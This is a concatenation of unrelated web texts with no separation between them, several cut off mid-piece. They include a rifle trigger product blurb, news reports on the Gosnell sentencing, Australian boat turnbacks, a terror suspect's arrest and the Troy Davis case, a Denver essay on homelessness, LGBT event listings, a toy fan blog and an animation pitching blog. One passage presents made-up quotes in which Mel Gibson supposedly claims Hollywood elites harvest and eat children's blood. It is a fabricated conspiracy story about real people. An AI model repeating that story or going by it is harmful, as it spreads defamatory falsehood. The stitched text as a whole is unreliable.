CMC's innovative, self-contained and easy-to-install AR-15 trigger groups, have been completely re-tooled to maximize production capacities, incorporate new design enhancements and reduce cost. CMC's AR-15 trigger groups have always yielded exceptional trigger pull dynamics for our tens of thousands of satisfied customers. CMC is confident the new production tooling and setup, incorporating the most advanced methods available, will not only yield the highest quality, but will also keep the supply lines full so every AR-15 shooter who places the highest demands on quality, function and reliability, will no longer have extensive lead times for obtaining these innovative trigger groups. Trigger pull is factory pre-set at 3.5 pounds, and is not user adjustable. Fits most standard Mil-Spec lower receivers with.154" trigger and hammer pin holes.FILE - In this March 8, 2010 file photo, Dr. Kermit Gosnell is seen during an interview with the Philadelphia Daily News at his attorney's office in Philadelphia. Gosnell was found guilty Monday, May 13, 2013 of found guilty of first-degree murder in the deaths of three babies born alive but acquitted in the death of a fourth baby. Gosnell was also found guilty of involuntary manslaughter in the overdose death of a patient. (AP Photo/Philadelphia Daily News, Yong Kim, File)
PHILADELPHIA (AP) — An abortion doctor convicted of killing three babies born alive at his rogue clinic dodged a possible death sentence on Tuesday in a hasty post-verdict deal with prosecutors.
Dr. Kermit Gosnell waived his right to appeal in exchange for a sentence of life without parole. Gosnell, 72, was convicted Monday of first-degree murder in a case that became a flashpoint in the nation's abortion debate.
Former clinic employees testified that Gosnell routinely performed illegal abortions past Pennsylvania's 24-week limit, that he delivered babies who were still moving, whimpering or breathing, and that he and his assistants dispatched the newborns by "snipping" their spines, as he referred to it.
Prosecutors had been seeking the death penalty because Gosnell killed more than one person and his victims were especially vulnerable given their age. But Gosnell's own advanced age had made it unlikely he would ever be executed before his appeals ran out.
Gosnell's lawyer, Jack McMahon, said his client accepts the verdict and isn't sorry he went to trial. He said Gosnell gave up a somewhat better deal early on but wanted to air the issues in court and is satisfied that he did so.
"He wanted this case aired out in a courtroom and it got aired out in a courtroom in a fair way. And now he's accepting what will happen. He's an intelligent guy," said McMahon, who said Gosnell would now plead to federal drug charges that are still pending.
The sentencing deal, reached after hours of terse negotiations, spares Gosnell's family the task of pleading for his life in court, McMahon said. Gosnell has six children, the youngest of them a teenager born to his third wife, who has also pleaded guilty in the case.
"He's a proud man. To bring his young family into court was something he did not want to do," McMahon said.
Gosnell was instead sentenced Tuesday to two life sentences for two of the infant deaths. He faces a mandatory third life term Wednesday in the third death, when he will also be formally sentenced in the overdose death of a patient and hundreds of lesser charges.
A 2011 grand jury investigation into Gosnell's alleged prescription drug trafficking led to the gruesome findings about his abortion clinic. An FBI raid had turned up 47 aborted fetuses stored in clinic freezers, jars of tiny severed feet, bloodstained furniture and dirty medical instruments, along with cats roaming the premises.
Prosecution experts said one teen was nearly 30 weeks pregnant when Gosnell aborted her fetus, and then allegedly joked the baby was so big it could "walk to the bus." A second baby was said to be alive for about 20 minutes before a clinic worker snipped the neck. A third was born in a toilet and was moving before another clinic employee severed the spinal cord, according to testimony.
A fourth baby let out a whimper before Gosnell cut the neck, prosecutors alleged. Gosnell was acquitted in that baby's death, the only one of the four in which no one testified to seeing the baby killed.
McMahon has argued that none of the fetuses was born alive and that any movements were posthumous twitching or spasms.
The defense also contended that the 2009 death of 41-year-old Karnamaya Mongar of Woodbridge, Va., a Bhutanese immigrant who had been given repeated doses of Demerol and other powerful drugs to sedate her and induce labor, was caused by unforeseen complications and did not amount to murder, as prosecutors charged.
"I wanted to be an effective, positive force in the minority community," Gosnell told The Philadelphia Daily News in a 2010 interview, when he predicted he would be "vindicated."
He declined to offer any remarks in court Tuesday to Common Pleas Judge Jeffrey Minehart but thanked McMahon and said he was "very satisfied" with his legal representation.
Prosecutors continued to refrain from commenting on the case, citing a gag order that is expected to be lifted Wednesday when the sentencing concludes.
Pennsylvania authorities had failed to conduct routine inspections of all its abortion clinics for 15 years by the time Gosnell's facility was raided in 2010. In the scandal's aftermath, two top state health officials were fired, and Pennsylvania imposed tougher rules for clinics.
Gosnell was also convicted of infanticide, racketeering and more than 200 counts of violating Pennsylvania's abortion laws by performing third-term abortions or failing to counsel women 24 hours in advance.Immigration Minister Scott Morrison confirms 12 asylum seeker boats turned back since start of Operation Sovereign Borders
Updated
The Federal Government has revealed that 12 asylum seeker boats have been turned back at sea since its border protection policy was implemented.
Immigration Minister Scott Morrison today used the first anniversary of the launch of Operation Sovereign Borders to make public the details of on-water operations that have until now largely been kept secret.
A factsheet released by his office has revealed that 383 asylum seekers on 12 boats were turned back from Australian waters.
The first was turned back on December 19 and the most recent was on May 20.
Four of those turnbacks involved sending asylum seekers back to Indonesia in orange lifeboats.
"We ensured that when we put the turnback operations in place that we knew we could do that safely, effectively and sustainably, and the ability to do that has been the critical blow to people smugglers," Mr Morrison told AM.
The minister says the lifeboats have proven to be a safe option.
"We have not lost a single life at sea under these operations because they've been done safely," he said.
"It is safety that drove the innovation of the policy that involved the use of lifeboats."
A separate operation involving authorities in Indonesia, Sri Lanka and Malaysia has stopped a further 45 boats that were bound for Australia.
Since the Coalition was elected, 23 boats carrying about 1,200 asylum seekers have arrived in Australia, but all bar one of those arrived before December when authorities started turning boats around.
Mr Morrison's frontbench colleague and former Liberal leader Malcolm Turnbull acknowledged that many of the asylum seekers would have had plausible claims for refugee status had they reached Australia.
"I'm sure that many of the people in the boats that have been turned back would have plausible claims for refugee status," Mr Turnbull told Radio National.
"But the fact is, we've got to have a policy that works, we've got to stop the people smuggling. Yes, it is a tough policy."
Labor has questioned why the information was being released, considering how secretive the Government's policy has been.
Opposition immigration spokesman Richard Marles also claimed the turning point was Labor's introduction of a policy to resettle all asylum seekers offshore - a policy immediately adopted by the Coalition.
"What we saw from July 19 last year when Labor introduced regional resettlement arrangements with PNG was within a couple of months, a reduction in the flow of asylum seeker boats by 90 per cent," he said.
Though Mr Marles conceded that "the policy of turnbacks obviously has had an effect".
The Greens declared the anniversary of Operation Sovereign Borders marked a year of "cruelty".
"Turning back genuine refugees and forcing them to face danger in their war-torn homelands does not save lives no matter how hard the Government tries to spin it," Senator Sarah Hanson-Young said in a statement.
But Mr Morrison rejected the criticism, saying he was "dealing with the problem" of boat arrivals.
The policy has faced international scrutiny, with the United Nations asking the Government earlier this year to prove it was not breaching the Refugee Convention.
Topics: federal-parliament, immigration, community-and-society, federal-government, government-and-politics, refugees, australia
First postedA long time ago, I was a nineteen-year-old homeless kid. The circumstances aren't particularly important, but basically I just surfed too many couches and polished off too many bottles of my hosts' booze until, chronically unemployed and perpetually drunk, I had nowhere to go. But even then, I stayed the hell out of downtown — too loud, too weird, too much hassle — in favor of sleeping in quiet parks around Glendale and Cherry Creek, though that also meant having to move around, sometimes several times, on sprinkler nights. (There is no experience more degrading than being awakened by a sprinkler.)
Today I'm housed and sober, but I still don't get why any homeless person would bother with downtown. So last Monday night, I packed my bag and a thermos of coffee and headed for the 16th Street Mall, ground zero in this city's fight over "urban camping" — an odd term to describe a practice that has historically never involved a single s'mores cookout. A proposal to ban urban camping — and so to ban the homeless from sleeping on the mall and in any other public spots that aren't already off limits — is grinding its way through the machinations of bureaucracy toward a vote next month. It's already been the subject of endless discussion, but one group has been conspicuously absent from the proceedings: the homeless themselves.
10:35 p.m., Colfax and Broadway
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Supporters of the proposed ban deny that it has anything to do with the Occupy Denver protests, and while the timing is a little suspect — after all, the homeless have been around forever, while Occupy started occupying Denver's sidewalks just seven months ago, shortly before talk of an "urban camping" ban began — downtown businesses have been very vocal lately regarding their concerns over people sleeping on the 16th Street Mall. No doubt, Occupy is unsightly — sleeping bags, slogan signs and random garbage litter a block-long section of the sidewalk across from Civic Center Park, while an assortment of grizzled old bums and crust-punks smoke weed and loiter — but on the other hand, there aren't any businesses in the immediate vicinity to wring their hands over what effect this might be having on their customers. Even Lil Bear, a nineteen-year-old Occupier who stands in the center of his group and monologues on how the movement is a "combination Great Depression, revolution and I don't even know," seems to get that the impetus behind the proposal is bigger than a congregation of protesters on the corner. "This sucks. This sucks," he muses. "This sucks that people have to live this way. If we're such a great country, then why are all these people out here?"
A little way down from Lil Bear's party, sitting cross-legged on his sleeping bag and staring meditatively toward Civic Center Park (which, like all Denver parks, is closed after 11 p.m.), Occupier Michael McPheron — in his forties, probably, wearing a neat beard, a hat and thick glasses — mulls it over. "Some of them thought it might be directed at us," he says, "although I also think it might be a thing where the government is being hit by problems they can't solve, and they think this might work. I've noticed as long as I've been here, there's always somebody sleeping in a doorway. It seems like any conceivable place where a homeless person might be sleeping, there they are. So I think they might think this might stop that. But I can't see how it would. A person's homeless, they don't really have the ability to go, 'Oh, well, this is illegal, I guess I won't be homeless anymore.'"
Then again, McPheron acknowledges that for him, that exact scenario might be the case. "I'm probably not...I don't know how this is going to sound, but I'm probably not as homeless as some of the people out here. I think I have the ability to claw my way up off the streets pretty quickly. But a lot of these guys couldn't do that," he says. "And even if I do, I'm still going to be occupying."
11:20 p.m., 16th Street Mall at Welton
Picture a homeless guy, and chances are you picture someone who resembles Kent Mollohan — a lot. Out on the streets since 1987, he sports a houndstooth coat and double orthopedic boots — the result of multiple small amputations on his feet over the years because of frostbite — and looks exactly like Gandalf, with an easy smile that, though toothless, is oddly charming. He's hands-down my favorite homeless guy of the night. His explanation for his presence on the mall is simple: "It's the safest place there is."
That seems counterintuitive, but this sentiment is echoed by everyone I talk with this night. On the mall there's a lot of light, patrols come by, people look out for one another. "You know, down here, we're kind of like family," Mollohan reflects. "A couple of nights ago, these guys at Maggiano's over there come out — they're pretty good about giving food to people. I'd already had something to eat, so I said, look, there's three of my friends back in the alley, you know, you have some food, I'll bring some food back to those fellas. And that's what I did. That's kind of the way it works. You know, you get to know people. I know a few people who work around here. I got another guy over there, come out of the Pinkberry some nights and give me a little frozen yogurt. I said to him, hey, no offense, but I'm going to be sleeping in your doorway tonight." He laughs at this.
Mollohan's a pretty positive guy, and his attitude about the proposed ban is surprisingly good-humored. "Yeah, you hear all this garbage," he chuckles. "What are they doing now, they're saying you can't be on private property? It's public property? I mean, I can understand like doorways and stuff like that — I can understand that. But my thing is, they say you can't sleep on public property, my question is, what does the American Civil Liberties Union have to say about that?"Turkish police have arrested Australia's'most wanted' Daesh terrorist recruiter Australian citizen Neil Prakash, who is currently being interrogated by Turkish authorities, reports said on Saturday.
The terrorist was reportedly arrested by Turkish police about a month ago after entering the country with a fake passport.
A man believed to be Neil Prakash, who was linked to several Australia-based attack plans, has been detained in Turkey and is being interrogated by Turkish authorities, a government spokesperson said in an emailed statement.
The Australian government described Neil Prakash, also known as Abu Khaled al-Cambodi, as "the most dangerous Australian."
Prakash will be subject to a formal extradition request from Australia, the Australian government said.
"The arrest of the person we believe is Prakash is the result of close collaboration between Australian and Turkish authorities," the spokesperson said.
Melbourne-born Prakash appeared in Daesh videos and magazines and actively recruited Australian men, women and children and encouraged acts of terrorism, the Australian government said in May.
Australia said in May that Prakash was killed in an airstrike in Mosul, Iraq, on April 29, based on U.S. intelligence.
But the New York Times reported on Friday that he had been wounded in the attack and survived. The Australian government subsequently confirmed he was alive.
Australia last year announced financial sanctions against Prakash, including threatening anyone giving financial assistance with punishment of up to 10 years in jail.
Prakash is the suspected inspiration for a 15-year-old Australian boy who was shot dead by police soon after he fatally shot a civilian police employee outside the state police headquarters in Sydney in October last year.
He is also suspected of motivating an 18-year-old Australian who was shot dead after he stabbed two policemen outside a Melbourne police station in September 2014.
He faces a potential life prison sentence if he is convicted in Australia of terrorism offenses.
Turkey has prevented the entry of over 52,075 people from entering the country and has deported 3,700 foreign terrorist fighters (FTF) since the Syrian civil war started in 2011.
Over 2,000 suspects with Daesh links have been arrested by Turkey.
Since 2014, estimates of total numbers of FTFs from more than 100 countries for Daesh range from 15,000 to 40,000 by different sources.
Turkish Police at airports have prevented the entry of more than 3,200 people with FTF-related suspicions since spring 2014.
Turkish authorities have extensively cooperated with other countries on the issue of foreign fighters. Ibrahim El Bakraoui (29), one of the two brothers identified by Belgium for being responsible for the attacks that killed at least 31 people in Brussels in March, entered Turkey on June 11, 2015, and was detained by Turkish authorities on June 14. He subsequently got deported on July 14, 2015.
A Turkish official said at the time: "We notified Belgium's and the Netherlands's authorities about his travel route and put an exclusion order on him."
In addition, Iman Mahiev, a French woman of Syrian origin, was detained by Turkish authorities close to the Syrian border and deported to France from Turkey over suspected ties to Daesh in January. She was detained by the Turkish authorities close to the Syrian border over suspected ties to Daesh terrorists.Troy Davis, an African American inmate on Georgia’s death row, has been sentenced to die on September 21st. Davis was convicted in 1989 of killing Mark MacPhail, a white, off duty police officer. However Davis has maintained his innocence ever since.
A broad campaign involving civil rights, labor groups and a range of public figures including Pope Benedict, Bishop Desmond Tutu, former President Jimmy Carter, and FBI director William Sessions was formed and has been trying to prevent the execution of Davis.
In 2010 the Supreme Court granted Davis a new appearence in court. The death row prisoner however lost the hearing.
Having exhausted all appeals Davis’s fate now lies in the hands of the Georgia Board of Parole and Appeals. The group Colorofchange.org is calling on supporters in Georgia to demand the parole board stay the execution.
A Global Day of Solidarity with Troy Davis has been set for September 16th. The Georgia Parole Board will hold a last clemency hearing the following Monday.
Urgent appeals to Georgia elected officials and parole authorities have been made by NAACP head Ben Jealous, Angela Davis and others. “There is very compelling evidence that Troy Davis may be innocent of the murder of Police Officer Mark MacPhail in 1989 in Savannah,” said Angela Davis. “The case against Troy Davis has all but collapsed.”
Georgia Rep. John Lewis has also added his voice noting, “This is one of those exceptional instances where adhering to the letter of the law could lead the state of Georgia to commit a grave injustice.” Lewis added, “That is why it is important for people of goodwill to stand together and speak out in this case.”
The NAACP is circulating petition that can be signed here.
This is Davis’s fourth execution date since 2007. The gun used to kill the police officer was never found, nor any physical evidence linking Davis to the murder.
Contact information for Geogia officials can be found below.
Gov. Nathan Deal: phone (404) 651-1776, fax (404) 657-7332, email [email protected], web contact form
Georgia Board of Parsons and Parole: phone (404) 656-5651, fax (404) 651-8502
Photo: (Gribiche/CC)Unbreakable Kimmy Schmidt — Netflix’s unlikely comedy about a woman who navigates life in New York City after years of rape and imprisonment — returns for its third season this weekend. In its new installment, Kimmy (Ellie Kemper), ever the optimist, is striving to attend college and plan a career, after a young-adult lifetime of being denied such opportunities. Complicating the process is her kidnapper, The Reverend, who is demanding a divorce while serving time in prison for his crimes. The irreplaceable Tituss Burgess is back as well to provide some needed levity, performing renditions of songs from Beyonce’s Lemonade but also navigating relationship troubles of his own with his boyfriend, Mikey. Jacqueline (Jane Krakowski) is likewise in the throes of a new love interest with David Cross and has become more of a friend to Kimmy, while Lilian (Carol Kane) immerses herself in local politics. See the trailer below, and binge it on Netflix this weekend.
GMCLA Voice Awards
The Gay Men’s Chorus of Los Angeles’s Voice Awards honor “those who advance our world, refute silence, lend a voice to the oppressed, exhibit leadership and give hope to those living under the weight of silence,” according to GMCLA’s website. Sounds like a good way to resist! The awards will be presented at a gala event Saturday evening at the JW Marriott at L.A. Live. This year’s honorees are activist Gwen Baba, with the Community Leader Voice Award; Logo TV, with the Visionary Voice Award; and composer Stephen Schwartz, who famously refused to allow his hit show Wicked to be performed in North Carolina after the passage of the anti-LGBT House Bill 2, with the Vanguard Voice Award. Actor Daniel Franzese will host the event, and special guests expected to attend include Lance Bass, Pauley Perrette, Ty Herndon, Michelle Clunie, and Proposition 8 plaintiffs Jeff Zarrillo and Paul Katami. Proceeds will go toward the chorus’s daily operations and its outreach programs — the Alive Music Program, which takes an antibullying message to middle schools and high schools, and its collaboration with the It Gets Better Project. The event starts with cocktails at 5 p.m., followed by dinner and the ceremony at 6:30. Tickets are still available via email; find more information here.
After thoughtfully expanding the Alien series universe with the 2012 prequel Prometheus, director Ridley Scott returns again with this sequel (still set before the events of 1979's Alien). Here we follow a group of colonists looking to establish human life on a new planet; there's even a gay male couple (though you only know they're gay because of this prologue released beforehand). This film brings back the hideous xenomorph alien largely absent from Prometheus, but Michael Fassbender is really the star of the show. Playing two different androids, Fassbender is electric; many scenes between the two robots border on the homoerotic. Katherine Waterston plays the Sigourney-like protagonist — and she's excellent. We do wish we could see more of Prometheus star Noomi Rapace, though her presence is still felt in Covenant. See more of Rapace and Fassbender in this fascinating prologue below.
If you're in L.A. Saturday, your presence is required for this march and rally. Our government has taken little action over the murder and imprisonment of gay and bi men in the Russian republic of Chechnya — that's simply unacceptable. The Los Angeles LGBT Center is asking for march participants to meet at downtown's Pershing Square at 1:30 p.m.; the march will begin 30 minutes later and will head to the federal building. Click here for more details.
Meet the employees of GULPTAB, the country’s most irreverent and dysfunctional, if well-intentioned, LGBT nonprofit in the new digital series Advocates, from creators Chloe Curran and Lauren Elizabeth Neal. The two-episode series boasts an entirely queer cast in LGBT roles with stand-up comic and actress Bridget McManus (Transparent, The Queen Latifah Show) starring as GULPTAB’s unflappable leader. The series lovingly skewers nonprofit culture and politics while depicting entirely out and proud LGBT characters. Alexis Bloom, Cameron Denny, Kingston Farady, Laura Zak (Her Story), Jessica Taylor, Amy Jackson Lewis, and Keeley Bright round out the cast. The first part of the satirical series is available now, while the second drops May 23.
After years of rumors and touch-and-go negotiations with Showtime, Twin Peaks — the beloved cult classic created by Mark Frost and David Lynch — is returning to television as a limited series event. For 18 episodes, viewers will return, with FBI Special Agent Dale Cooper (Kyle MacLachlan), to the fictional town in Washington State and its many mysterious and supernatural happenings, which originally led to the death of homecoming queen Laura Palmer. Not much is known about the new plot — but many characters from the original ABC series will be returning for the reboot, alongside newcomers like Naomi Watts, Jennifer Jason Leigh, Laura Dern, and Michael Cera. Watch the teaser below and the premiere Sunday on Showtime at 9 p.m. Eastern and Pacific.
The Astraea Lesbian Foundation for Justice will celebrate grassroots activists and cultural change-makers powering the Resistance with its Fueling the Frontlines awards ceremony Thursday in Los Angeles. Honorees are Patrisse Cullors, cofounder of Black Lives Matter; trans Latina activist Jennicet Gutiérrez; Univision news anchor Jorge Ramos; political strategist Paola Ramos; and Bruce Cohen, executive producer of When We Rise. The event, from 6:30 to 9:30 p.m. at the Ace Museum in L.A., will feature food, cocktails, and a performance of the operatic version of Octavia Butler’s Parable of the Sower. Proceeds will support will support Astraea’s grants to grassroots activists and organizations in areas where the need is greatest worldwide. Go here for tickets and more info.Image caption Call to jihad: British man shows off his gun
The BBC has seen an online video of a British man recruiting people over the internet to fight jihad in Syria.
The man, who is not identified but speaks with a London accent, is seen loading and firing a gun into the air.
The video invites Muslims to leave the "gangster life behind and join the life of jihad".
It has not been possible to verify its authenticity but an online extremism expert says it is a sign of al-Qaeda's growing "brand" in Syria.
Beheadings
Wearing a black balaclava, |
immensely popular social games to life in a variety of creative and new expressions that reflect consumers' growing desire to surround themselves with gaming brands they love anytime, anywhere together with their friends and family," said Brian Goldner, President and CEO of Hasbro. "Zynga is bringing more games to mainstream culture and is redefining how people play. At Hasbro, we're proud to help bring their games to even more people around the world. This strategic alliance plays off of both Hasbro's and Zynga's proven strengths and is emblematic of the new innovations and new platforms we are creating across our entire gaming portfolio."
The two companies expect the first products to be available beginning Fall 2012.
It has been a pretty crazy day in the ponynet. Now before I start recapping everything that happened, I have to say how amazed I am at all of it. I think most of us were under the assumption after the various Hasbro statements that toys for us just wouldn't be in demand at a retail level. Here we are though, with what is essentially a "brony set" on the horizon.I don't think I can praise Hasbro enough, but we also have to factor in Toys R' Us. The reason these are exclusive to their stores, is probably because this is a completely off the wall market to create stuff for. I don't think many retailers are willing to take the risk and release what is essentially a set "for male fans" of an originally female dominated franchise. Our hostile blindbag takeover may have something to do with it, but I have to thank them for taking the plunge. Lets show both Hasbro and TRU that we are more than relevant when these officially release later in the year!I'll stop blabbering though, on with the recap! After the break.You may have noticed a bunch of new images. ASM has released a gallery of clearer ones for us to drool over.I still think the video is probably your best bet if you really want a good glance at the toys, but these work for now!First off is this behemoth of a set. It sounds like these guys are scheduled for a, but no exact date was given. I still can't wait to see their actual show personalities!And we can't forget the GREAT AND POWERFUL TRIXIE! Now before you shout bias for me splitting her off, there is a method to this madness; She is in the section of ponies with their own singles. While she appears to be in the set (found below), it looks like they are decking her out with a birthday present and releasing her solo.Above (Minus Celestia) are the combo package ponies. Included in this set you will find:The entire bundle will retail at -We also have the white Celestia for the same price as her pink counterpart at -And finally Zecora will come single at -I wasn't joking when I said I wanted an army of those. I love glowy stuff.These three products. Hopefully you foreign bronies outside the USA and other countries with TRU will get a crack at them!All of this will be arriving in theThe Nightmare Moon included in the set is probably one of the most impressive next to Scratch. I could rave about Trixie all day, but these two are the real show stealers. As far as I know, My Little Pony doesn't really release one-shot villians as toys, and they especially don't do DJ's with 10 seconds of air time! We really are making a huge impact over there.And of course, the crazy high resolution white Celestia. We pushed for it, and they answered. I remember seeing customs of this go for 300+ bucks on ebay early on. A lot of people are really going to love this one.And finally in the toy faire front, we have Heartstrings/Lyra. I am not sure what name they will actually choose, but I'm sure a certain blog author will be all over this one.And we can't forget about the next Mcdonalds set hitting fast food restaurants in March. I have been told by employees that these are arriving on the 5th of March, and will end either on the 27th or 28th.The Zynga thing is also an interesting one. I have been told that this is primarily going to be a "Hasbro makes Zynga toys" partnership as opposed to the other way around. The press release tends to dance around the issue, but I'll let you guys dig through it and make of it what toy will. Check that out copy pasted below:And that just about covers it! Have a Trixie eating a pinecone to close us out. Fall is going to be one wild ride.Hollywood studios are “drenched in the blood of innocent children” according to Mel Gibson who claims the consumption of “baby blood is so popular in Hollywood that it basically operates as a currency of its own.”
Hollywood elites are an “enemy of mankind continually acting contrary to our best interests” and “breaking every God given taboo known to man, including the sanctity of children,” Mel Gibson said in London, where he is promoting his role in Daddy’s Home 2, his most prominent on-screen role in years.
“It’s an open secret in Hollywood. These people have their own religious and spiritual teachings and their own social and moral frameworks. They have their sacred texts – they are sick, believe me – and they couldn’t be more at odds with what America stands for.”
Mel Gibson appeared on the Graham Norton Show on the BBC on Friday, and he schooled shocked guests about the real nature of Hollywood elites in the green room backstage after his appearance.
Explaining that he spent the last ten years “working on my own ideas, outside of the Hollywood system” after being blacklisted by Hollywood in 2006 for sharing opinions about the industry and the world that run counter to liberal orthodoxy, Gibson said, “I don’t know how to break it to you gently… Hollywood is institutionalized pedophilia.
“They are using and abusing kids.“
“They churn through a huge amount of kids every year. Their spiritual beliefs, if you can call them that, direct them to harvest the energy of the kids. They feast on this stuff and they thrive on it,” the Hacksaw Ridge director said.
“What do I mean? This isn’t some kind of artistic abstraction. They harvest the blood of children. They eat their flesh. They believe this gives them life force. If the child was suffering in body and psyche before it died, they believe this gives them extra life force.”
“There is a creative and loving force inside most of us that guides us through life. These people don’t have this. For them it’s the opposite.”
According to Mel Gibson, who has spent 30 years in and out of the Hollywood system, the industry elites “thrive on pain, trauma, stress, abuse, and suffering.”
“Hollywood is drenched in the blood of innocent children. For a long time all the references to pedophilia and cannibalism were symbolic or allusive. But I was personally introduced to the practice in the early 2000s. I can talk about this now because these people, the execs, they’re dead now.”
“The blood of a sexually abused infant is considered highly ‘enriched’ and is highly prized. The money changing hands, the favors, the kickbacks – you have no idea. Babies are a high-functioning currency all of their own. Babies are their premium brand of high-grade caviar cocaine diamond steak.”
But according to Gibson this isn’t a flavor-of-the-month perversion, popular among men and women who have grown bored of standard issue sins.
“This isn’t anything new. If you do some research you will see it’s a metaphysical, alchemical phenomenon and you can find it behind the scenes in all the dark eras in history.
“It’s a dark, multidimensional occult art and practice, used by secret societies in the last few hundred years for social programming and mind control, and raised to a zenith by Hollywood in America in our era.“Hey doodz. So, I started writing this from Japan on a Shinkansen train on its way to Osaka, then on a plane from Osaka on its way to Manilla, on a hammock on a tropical island in an eco-lodge in Palawan in the Philippines, a bit more in Manila and finished back in Joburg in South Africa.
For one, it’s been great to take a break from work and just soak up other parts of the world. I haven’t been sketching or scamping or writing or doing anything directly work-related save for a few work emails and the pictures in this post that were drawn on an old iPad Mini 4 with ProCreate app and a dumb stylus. Gotta say, putting my iPad in a cover with a keyboard has given it new life. The iPad used to sit at the bottom of a drawer, I don’t like typing on a screen so I never really took it with me on trips. The little bluetooth keyboard has changed that – I typed 99% of this post with it.
Japan’s been great. I’ve bought a bunch of videogame plushes, visited a bunch of retro videogame shops, saw an old school friend who I didn’t realize how much I miss (he works for the British government in Japan, and somehow seeing him reminded me to be more ‘soft’ and I’ve rediscovered my soft centre) and am amazed at how almost everything is cartoonerized in Japan. A friend who visited earlier this year commented on how proud everyone is of their job, and he’s right – from the chef behind the fryer making Okonomiyaki to the train conductor, everyone takes their job lank seriously and I dig it. The Philippines was also amazing – incredible islands, friendly locals and the best snorkelling I’ve done in my life. But, for the first time in ages, an overseas trip is just for holidays, and not work. I was hoping to get an Annecy trip funded by government but unfortunately they changed the rules after we submitted applications (and paid a R500 joining fee to AnimationSA to apply :/)
Anyways, because I spent the last working part of 4 years focused on getting an IP off the ground and onto TV, I still have some thoughts for anyone Googling ‘how to pitch an animated show to a network’. I used to read as much as I could about making an animated show, so I guess this is some rogue advice targeted at any creators trying to find out more info. I still haven’t cracked it – I don’t have a show on TV. I’m in no ways an expert on the subject. But, I did sell IPs to both Nickelodeon (Moosebox) and Triggerfish/Disney (Dogshow with Cat). Both were different experiences, Moosebox was something I came up with a few days before pitching it, and Dogshow with Cat used to be Bru & Boegie, characters I’m very protective over, and ended up turning into another show. Both have similarities though – they’re both aimed at kids between 6 – 12 years old, they both have short pilots (2 minute episodes) and both have completed show bibles (a document that explains what the show is about – who the characters are, the relationships between the characters, rules of the world, overviews of stories etc, artwork etc.)
Firstly, a preface: I’m grateful to anyone who funds my work. This post isn’t meant as criticism, most of the time I believe everyone’s just doing their best at the time. It’s really meant as advice so that you can avoid falling into pitfalls that may affect both you and the client / network. See it as a stepping stone; where I’ve failed perhaps you can learn. It’s also as a way for me to crystallise my thoughts a bit more about selling an animated show to a network. In addition, any time I find myself self-justifying myself to myself or others, it’s worth looking at my own role in things. The shadow is smart and will try to place blame anywhere but itself. In the end, I can’t blame anyone, and the buck should stop with the creator. I’ll explain some general thoughts and then we’ll look more specifically at the 2 IPs I’ve sold. None of these thoughts represent the companies I’ve worked for, and I’m not an employee anywhere. I guess this is the post I’d have liked to have read before encountering a few things.
Bru & Boegie’s Guide to Pitching an Animated Show to a Network
Your Best Work
Think really hard before you pitch that idea you’ve been working on for years. If you’re very precious about it, it could work against you. Remember, almost everyone you bring on board will want to add their thumbprint to your IP (intellectual property) – this isn’t necessarily a bad thing – you’ll want them to have their skin in the game to be invested in your project too – but unless you’re extremely lucky and find an investor who loves your idea as is (this hasn’t been my experience) your idea is going to go through a number of iterations and the end result may bear little resemblance to how it looked going in.
This is the paradox / game that I haven’t yet figured out – the network wants you to be invested 100% in your idea because a show needs a captain with a clear vision, but the network still wants to be able to make a number of changes, some of which may be central to what you like about the show. So begins a game of push and pull and it can steal a lot of time and energy away from the creative work. If the creator’s too much of a pushover and takes on every note given, the network starts thinking the creator is a rudderless boat awash in the ocean, happy to go wherever the tide may take it. If the creator knows exactly what he/she wants and doesn’t listen to the network’s suggestions, the network can just stop funding the project and say ‘the creator’s too hard-headed’, which we’ll get to later.
In all honesty I think it’s better to follow the latter: do exactly what you want to do, because if the network eventually *does* follow suit, you know you have a real partner on board that believes in your vision. It’s kind of like dating – if you’re upfront with what you’re looking for in a relationship, it saves a lot of time for both parties. If you end up making a show that’s basically a culmination of exec notes, you won’t be happy and the execs won’t be happy. They don’t know what they want otherwise they’d just make shows without creators. If you’re not happy, be sure to communicate what you want – if creative partners have ‘non-negotiables’ that are at odds, it can become apparent to both that it’s time to move on.
So, what to do? Looking at the middle-ground between being Mr. Nice Guy who takes on any note, and being Mr. Not So Nice Guy who has such a strong North Star that the network doesn’t have a say, the process is much easier if it *isn’t* your personal baby. Working together with a creative partner is way easier if you’re not 100% invested in the outcome, because then ‘compromise’ isn’t a dirty word and wherever you end up, you’ve both arrived there together. That way, *anything* that results from the idea is a bonus. You put in 50%, I put in 50%, let’s see what baby we come up with. It’s more like the creator becomes a surrogate mother, as opposed to a baby that’s already been born.
Of course, the flip-side is that you hope you are able to even *sell* your IP if it’s not something you’re completely stoked about. Generally, ideas are a dime-a-dozen. Spongebob may have been a completely different show in the hands of another creator, and I somehow think if you gave Stephen Hillenburg (Spongebob’s creator) ingredients that weren’t a sponge, starfish and crab, he’d have still created an amazing show. What really counts is execution, and the network’s really investing in you as a person. You may have a body of work that instils confidence, or you’ve done something that’s given the network reason to take a chance on you.
Another danger of selling your best work is that the network’s under no obligation to do anything with it, which can be heart-breaking if it’s a project you really care about. You’ve created something amazing, and you have no more claim to it. So, make sure that the contract has a ‘sunset clause’, which means if they don’t use the IP within a certain time (let’s say 2 years) and don’t renew the rights to it with a financial bonus to you, then rights automatically revert to you. This is very important, otherwise you may find that you’ve spent years investing in something and it comes to an abrupt stop (another reason to make sure you’re at least enjoying the process if it all dead-ends).
2 case studies
Moosebox
I kind of came up with Moosebox specifically for Nickelodeon – well, it was a bunch of ideas that I’ve always wanted to do, smooshed together. But unlike Bru & Boegie (which I’ll talk about later), Moosebox didn’t have a history. It was a fresh page for both myself and Nickelodeon. If Nickelodeon wanted to rather turn it into a stage play, I wasn’t too precious about it and though my first prize is a TV show, I’d likely have taken their lead. One of the main characters of the duo (Moose) had no legs to start with and Nickelodeon said it was a non-negotiable that he have legs. It was pretty much a core component to the duo’s dynamic that Catbox – his best friend and accomplice – cart him around and that they were super-dependant on each other, so it required a lot of further development, but because it was fairly fresh to both me and Nickelodeon I relented and gave him legs. The show’s still awesome (in my mind it still would have worked with him without legs) but I wasn’t too married to the characters yet. Lots of people contributed ideas; Nickelodeon, Stuart Coutts, Triggerfish, I hired people to jam ideas with, it was a collaborative effort with still enough of a wide berth provided to me for how I’d like to work, I chose what to use and what not to use, still had quite a bit of autonomy with how I liked to work (production was a pretty lean setup) and was able to settle into my own rhythm of alchemical processes that allows my best creative work. After the pilot, I received further development funding and it was up to me how to use that funding. I like that, partly because the production process goes hand-in-hand with the creative process for me when money’s involved. I know what deals I’ve made with people and know what I can ask of them.
